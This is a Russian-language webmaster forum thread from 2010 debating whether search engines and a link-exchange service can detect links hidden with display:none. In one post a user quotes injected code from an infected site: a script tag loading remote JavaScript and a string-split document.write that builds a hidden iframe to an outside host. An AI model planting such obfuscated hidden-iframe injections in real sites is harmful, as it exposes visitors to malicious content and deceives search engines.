22.06.2010, 21:00 | #11 |
Мастер
Регистрация: 09.11.2008
Адрес: Харьков
Сообщений: 726
Вес репутации: 234
|
|
22.06.2010, 21:20 | #12 |
Новичок
Регистрация: 05.03.2009
Адрес: ДерЁвня Новые Грязюки
Сообщений: 47
Вес репутации: 190
|
Как я полагаю Вы один из таких вебмастеров?
Почему тогда я на локальной машине могу увидеть плагином скрытые ссылки а сапа поставить аналогичную локальную машину но на все ссылки не может? |
22.06.2010, 21:24 | #13 | |
Специалист
|
Цитата:
Но, как только это будет сделано, пользующиеся этим методом ВМ-ы перестанут им пользоваться и перейдут на другой метод. а их (методов) - миллион. кому оно надо - воевать с ветряными мельницами? |
|
22.06.2010, 21:30 | #14 | |
Новичок
Регистрация: 05.03.2009
Адрес: ДерЁвня Новые Грязюки
Сообщений: 47
Вес репутации: 190
|
Цитата:
2) Даже применив санкции на основные методы - ВМ побоятся экспериментировать да бы не вылететь полностью 3) Это надо МНЕ! Гугл к примеру давно уже определяет все эти display none и аналогичные фокусы и сильно понижает весомость донора. |
|
22.06.2010, 21:35 | #15 |
Мастер
Регистрация: 09.11.2008
Адрес: Харьков
Сообщений: 726
Вес репутации: 234
|
Нет, я не один из таких вебмастеров.
Наверное по той же причине, по которой это не может сделать ни Google, ни Яндекс. |
22.06.2010, 21:44 | #16 | |
Специалист
|
Цитата:
со ссылочками, пожалуйста. да даже банальный display:none вы фиг когда выловите. если уж можно так намудрить, что разные браузеры его по-разному показывают... p.s. у меня на одном из сайтов 2/3 информации в display:none (дизайн такой, "закладочный"). и что? все прекрасно индексируется. p.p.s. ссылки не прячу, глупо это. Но и паранойи не разделяю. |
|
22.06.2010, 21:45 | #17 | |
Добрый модератор
Регистрация: 09.07.2007
Адрес: глобус Украины
Сообщений: 27,600
Вес репутации: 1030
|
Цитата:
Куда стучать в сапе - написано во первом комменте.
__________________
Правильный хостинг. В личке бесплатно не отвечаю обычно. |
|
22.06.2010, 23:08 | #18 | |
Новичок
Регистрация: 05.03.2009
Адрес: ДерЁвня Новые Грязюки
Сообщений: 47
Вес репутации: 190
|
Цитата:
<script type='text/javascript' src='http://www.site.com/files/js.js'></script></script> и в самом JS документе document.write("<"+"i"+"f"+"rame"+" sr"+"c='http://site2.com/index.php?'"+" style='d"+"isplay:no"+"ne;'></"+"i"+"f"+"rame>"); (код полностью не вставился) и не увидит в том числе. Я правильно понимаю? Однако буквально в течение 2-х дней сайт который был заражен вирусом данным способом и в принципе даже я не видел линк при просмотре текстовой версии страницы попал в гугл как инфицированный. Настучали? за два дня на сайт с количеством посетителей в день от 0 до 1? Добавлено через 4 минуты Ну а то что гугл не любит скрытый текст - он прямо предупреждает: http://www.google.com/support/webmas...n&answer=66353 По принципу Господа - ваш сайт может быть подозрителен для нас - так как пользователь видит один текст а мы другой Добавлено через 8 минут p.s. И так для сведения, после заражения сайт слетел с PR 5 до PR 3... Последний раз редактировалось opex; 22.06.2010 в 23:11. Причина: Добавлено сообщение |
|
22.06.2010, 23:37 | #19 |
Мастер
Регистрация: 09.11.2008
Адрес: Харьков
Сообщений: 726
Вес репутации: 234
|
zhegloff, похоже пора тему закрывать.
opex, для этого достаточно иметь уже ранее засвеченный шаблон заразы. И не путайте то, что Вы написали с CSS. О том, что скрытый текст "не хорошо" пишет и Гоша и Яша, вот только распознать этого ни тот ни другой не может. Да и вообще если бы вы знали CSS и хоть когда-то занимались версткой HTML страниц, у Вас бы все вопросы отпали сами совой. |
23.06.2010, 00:07 | #20 |
Новичок
Регистрация: 05.03.2009
Адрес: ДерЁвня Новые Грязюки
Сообщений: 47
Вес репутации: 190
|
Согласен, тему пора закрывать
Так как Вас не переубедишь... Но всё же может быть Вы объясните мне почему так называемый РАНЕЕ ЗАСВЕЧЕННЫЙ ШАБЛОН ЗАРАЗЫ на ЯВА СКРИПТЕ вообще оказался у гугла? И согласен это не CSS. Но вы все дружно кричите что ПС не видят ни того ни другого? а вирус находящийся в JS файле увидели, прочли и нашли? Добавлено через 7 минут p.s. И не надо считать ПС глупее чем они есть Последний раз редактировалось opex; 23.06.2010 в 00:07. Причина: Добавлено сообщение |
|
|
Похожие темы | ||||
Тема | Автор | Раздел | Ответов | Последнее сообщение |
<div style="display:none;"> Всем хозяевам привет!! | jonik333 | Вопросы по работе системы | 38 | 06.08.2012 11:29 |
СДЕЛАЙТЕ ПРОВЕРКУ НА <div style="display:none"> | opex | Пожелания пользователей системы | 28 | 02.06.2010 01:50 |
div style="display:none;" C какого хрена? | andy78 | Вопросы по работе системы | 65 | 29.12.2008 16:47 |
<div style="position: absolute; display: none;"> | den78ru | Ошибки при работе с системой | 16 | 09.03.2008 08:48 |
Ссылки в <div style="display:none;"> !!! | zeromodule | Вопросы по работе системы | 12 | 17.11.2007 15:41 |
Часовой пояс GMT +3, время: 02:26.